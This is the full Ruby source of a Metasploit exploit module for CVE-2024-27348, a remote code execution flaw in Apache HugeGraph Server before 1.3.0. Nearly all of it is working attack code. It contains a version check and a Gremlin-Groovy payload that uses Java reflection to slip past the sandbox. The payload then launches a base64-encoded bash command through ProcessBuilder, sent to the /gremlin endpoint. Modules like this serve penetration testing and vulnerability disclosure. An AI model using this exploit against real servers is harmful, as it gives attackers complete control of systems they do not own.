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Apache HugeGraph Gremlin Remote Code Execution

This Metasploit module exploits CVE-2024-27348, a remote code execution vulnerability that exists in Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve remote code execution through Gremlin, resulting in complete control over the server.

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### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  include Msf::Exploit::Remote::HttpClient  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache HugeGraph Gremlin RCE',        'Description' => %q{          This module exploits CVE-2024-27348 which is a Remote Code Execution (RCE) vulnerability that exists in          Apache HugeGraph Server in versions before 1.3.0. An attacker can bypass the sandbox restrictions and achieve          RCE through Gremlin, resulting in complete control over the server        },        'Author' => [          '6right', # discovery          'jheysel-r7' # module        ],        'References' => [          [ 'URL', 'https://blog.securelayer7.net/remote-code-execution-in-apache-hugegraph/'],          [ 'CVE', '2024-27348']        ],        'License' => MSF_LICENSE,        'Platform' => %w[unix linux],        'Privileged' => true,        'Arch' => [ ARCH_CMD ],        'Targets' => [          [ 'Automatic Target', {}]        ],        'DefaultTarget' => 0,        'DisclosureDate' => '2024-04-22',        'Notes' => {          'Stability' => [ CRASH_SAFE, ],          'SideEffects' => [ ARTIFACTS_ON_DISK, ],          'Reliability' => [ REPEATABLE_SESSION, ]        }      )    )    register_options([      Opt::RPORT(8080),      OptString.new('TARGETURI', [true, 'Base path to the Apache HugeGraph web application', '/'])    ])  end  def check    res = send_request_cgi({      'method' => 'GET'    })    return CheckCode::Unknown('No response from the vulnerable endpoint /gremlin') unless res    return CheckCode::Unknown("The response from the vulnerable endpoint /gremlin was: #{res.code} (expected: 200)") unless res.code == 200    version = res.get_json_document&.dig('version')    return CheckCode::Unknown('Unable able to determine the version of Apache HugeGraph') unless version    if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0'))      return CheckCode::Appears("Apache HugeGraph version detected: #{version}")    end    CheckCode::Safe("Apache HugeGraph version detected: #{version}")  end  def exploit    print_status("#{peer} - Running exploit with payload: #{datastore['PAYLOAD']}")    class_name = rand_text_alpha(4..12)    thread_name = rand_text_alpha(4..12)    command_name = rand_text_alpha(4..12)    process_builder_name = rand_text_alpha(4..12)    start_method_name = rand_text_alpha(4..12)    constructor_name = rand_text_alpha(4..12)    field_name = rand_text_alpha(4..12)    java_payload = <<~PAYLOAD      Thread #{thread_name} = Thread.currentThread();      Class #{class_name} = Class.forName(\"java.lang.Thread\");      java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\"name\");      #{field_name}.setAccessible(true);      #{field_name}.set(#{thread_name}, \"#{thread_name}\");      Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");      java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);      java.util.List #{command_name} = java.util.Arrays.asList(#{"bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash".strip.split(' ').map { |element| "\"#{element}\"" }.join(', ')});      Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});      java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\"start\");      #{start_method_name}.invoke(#{process_builder_name});    PAYLOAD    data = {      'gremlin' => java_payload,      'bindings' => {},      'language' => 'gremlin-groovy',      'aliases' => {}    }    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/gremlin'),      'method' => 'POST',      'ctype' => 'application/json',      'data' => data.to_json    })    print_error('Unexpected response from the vulnerable exploit') unless res && res.code == 200  endend

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